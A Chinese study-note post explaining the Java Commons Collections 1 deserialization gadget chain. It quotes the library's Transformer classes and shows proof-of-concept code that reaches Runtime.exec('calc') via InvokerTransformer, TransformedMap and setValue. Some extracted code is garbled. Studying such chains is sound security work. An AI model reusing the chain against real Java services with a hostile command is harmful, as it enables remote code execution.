-
-
Java反序列化漏洞:Commons Collections 1 学习笔记
-
发表于: 2022-11-29 16:45 1192
-
前置知识
分析Transformer
接口及其实现类ConstantTransformer
:构造函数传入一个对象,调用transform()
方法时,不管输入是什么,都返回构造函数ConstantTransformer()
传入的对象。
1
2
3
4
5
6
7
8
9
|
/ / ConstantTransformer构造函数及transform()函数
public ConstantTransformer( Object constantToReturn) {
super ();
iConstant = constantToReturn;
} public Object transform( Object input ) {
return iConstant;
} |
ChainedTransformer
:自动对transformers
数组中每一个元素transformers[i]
调用transform()
,前一个的输出作为后一个的输入,链式调用transform()
方法。
1
2
3
4
5
6
7
8
9
10
11
12
|
/ / ChainedTransformer构造函数及transform()函数
public ChainedTransformer(Transformer[] transformers) { super ();
iTransformers = transformers;
} public Object transform( Object object ) {
for ( int i = 0 ; i < iTransformers.length; i + + ) {
object = iTransformers[i].transform( object );
}
return object ;
} |
InvokerTransformer
:相当于重新实现了反射,构造函数传入方法名、参数类型、参数。transform()
传入对象,进行反射调用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
/ / InvokerTransformer构造函数及transform()函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object [] args) {
super ();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
} / / InvokerTransformer的transform()方法
public Object transform( Object input ) {
if ( input = = null) {
return null;
}
try {
Class cls = input .getClass();
Method method = cls .getMethod(iMethodName, iParamTypes);
return method.invoke( input , iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException( "InvokerTransformer: The method '" + iMethodName + "' on '" + input .getClass() + "' does not exist" );
} catch (IllegalAccessException ex) {
throw new FunctorException( "InvokerTransformer: The method '" + iMethodName + "' on '" + input .getClass() + "' cannot be accessed" );
} catch (InvocationTargetException ex) {
throw new FunctorException( "InvokerTransformer: The method '" + iMethodName + "' on '" + input .getClass() + "' threw an exception" , ex);
}
} |
三种方式弹出计算器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
/ / 正常弹计算器
Runtime.getRuntime(). exec ( "calc" );
/ / 反射调用计算器
/ / 获取一个Runtime的对象
Runtime r = Runtime.getRuntime();
/ / 获取Runtime类
Class c = Runtime. class ;
/ / 获取Runtime类的 exec ()方法,(方法名,参数类型)
Method execMethod = c.getMethod( "exec" , String. class );
/ / 反射调用 exec 弹计算器,(对象,参数)
execMethod.invoke(r, "calc" );
/ * InvokerTransformer调用计算器
相当于重新实现了反射,把上面的反射调用后两行写成一行 * /
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer( "exec" ,
new Class[]{String. class }, new Object []{ "calc" }).transform(r);
|
构造调用链
调用链构造原则:
找调用关系要找不同名的方法,如果找到同名,再通过find usages
得到的还是一样的结果。最终还是得找不同的方法才能跳转。
哪里调用了transform():checkSetValue()-->transform()
发现了InvokerTransformer
类中的transform()
方法是危险方法,从后往前找,找哪个类的不同方法里面调用了transform()
找到InvokerTransformer
类中的transform()
,右键,点 Find Usages
,找函数调用关系,
最好找不同名的方法,调用了transform()
。因为transform()
调用transform()
不能换到别的方法里,没有意义。
最后的目标是回到readObject()
里,比如LazyMap
类中的get()
方法调用了transform()
,再接着去找谁又调用了get()
。如果有一个类的readObject()
调用了get()
,那我们就可能找到了调用链。
最终选择TransformedMap
这个类,因为TransformedMap
类中有好几处都调用了transform()
找到TransformedMap
类中checkSetValue()
中调用了valueTransformer.transform(value);
1
2
3
|
protected Object checkSetValue( Object value) {
return valueTransformer.transform(value);
} |
看一下valueTransformer
是什么,在TransformedMap
的构造函数中可以对valueTransformer
赋值。
构造函数的参数:传入一个Map
和两个Transformer
。
1
2
3
4
5
|
protected TransformedMap( Map map , Transformer keyTransformer, Transformer valueTransformer) {
super ( map );
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
} |
TransformedMap
的构造函数属性是protected
,只能在类内调用。
因此找一下哪里调用TransformedMap()
构造函数。
找到decorate()
调用了 TransformedMap()
。
调用decorate()
相当于调用了构造函数。
1
2
3
|
public static Map decorate( Map map , Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap( map , keyTransformer, valueTransformer);
} |
构造checkSetValue()
中的valueTransformer
,因为要通过InvokerTransformer
反射调用计算器,所以要让valueTransformer = invokerTransformer
,invokerTransformer
为InvokerTransformer
类的一个对象。
在构造函数中可以进行valueTransformer
的赋值,但是TransformedMap
的构造函数不能直接调用(属性为protected
),间接通过decorate()
来给valueTransformer
赋值。
现在valueTransformer = invokerTransformer
1
2
3
4
5
|
/ / 实例化一个InvokerTransformer (invokerTransformer)
InvokerTransformer invokerTransformer = new InvokerTransformer( "exec" , new Class[]{String. class }, new Object []{ "calc" });
/ / 新建一个 map ,传入decorate()中
HashMap< Object , Object > map = new HashMap<>();
Map < Object , Object > transforedMap = TransformedMap.decorate( map , null, invokerTransformer);
|
哪里调用了checkSetValue():setValue()-->checkSetValue()
在AbstractInputCheckedMapDecorator
类中的setValue()
中调用了checkSetValue()
AbstractInputCheckedMapDecorator
类是TransformedMap
的父类AbstractInputCheckedMapDecorator
类的setValue()
重写了Map.Entry
类中的setValue()
直接调用setValue()
,可以弹出计算器
1
2
3
4
5
6
7
8
|
/ / 实例化一个InvokerTransformer (invokerTransformer)
InvokerTransformer invokerTransformer = new InvokerTransformer( "exec" , new Class[]{String. class }, new Object []{ "calc" });
/ / 新建一个 map ,传入decorate()中
HashMap< Object , Object > map = new HashMap<>();
Map < Object , Object > transforedMap = TransformedMap.decorate( map , null, invokerTransformer);
for ( Map .Entry entry : transforedMap.entrySet()){
entry.setValue(r);
} |
哪里调用了setValue():readObject()-->setValue()
AnnotationInvocationHandler
类中的readObject()
方法中调用了setValue()
AnnotationInvocationHandler
类中的readObject()
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
/ / Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance( type );
} catch(IllegalArgumentException e) {
/ / Class is no longer an annotation type ; time to punch out
throw new java.io.InvalidObjectException( "Non-annotation type in annotation serial stream" );
}
Map
= annotationType.memberTypes();
/ / If there are annotation members without values, that
/ / situation is handled by the invoke method.
for ( Map .Entry String name = memberValue.getKey();
Class> memberType = memberTypes.get(name);
if (memberType ! = null) { / / i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType. isInstance (value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]" ).setMember(
annotationType.members().get(name)));
}
}
}
} AnnotationInvocationHandler(Class extends Annotation> type , Map
Class>[] superInterfaces = type .getInterfaces();
if (! type .isAnnotation() ||
superInterfaces.length ! = 1 ||
superInterfaces[ 0 ] ! = java.lang.annotation.Annotation. class )
throw new AnnotationFormatError( "Attempt to create proxy for a non-annotation type." );
this. type = type ;
this.memberValues = memberValues;
} |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课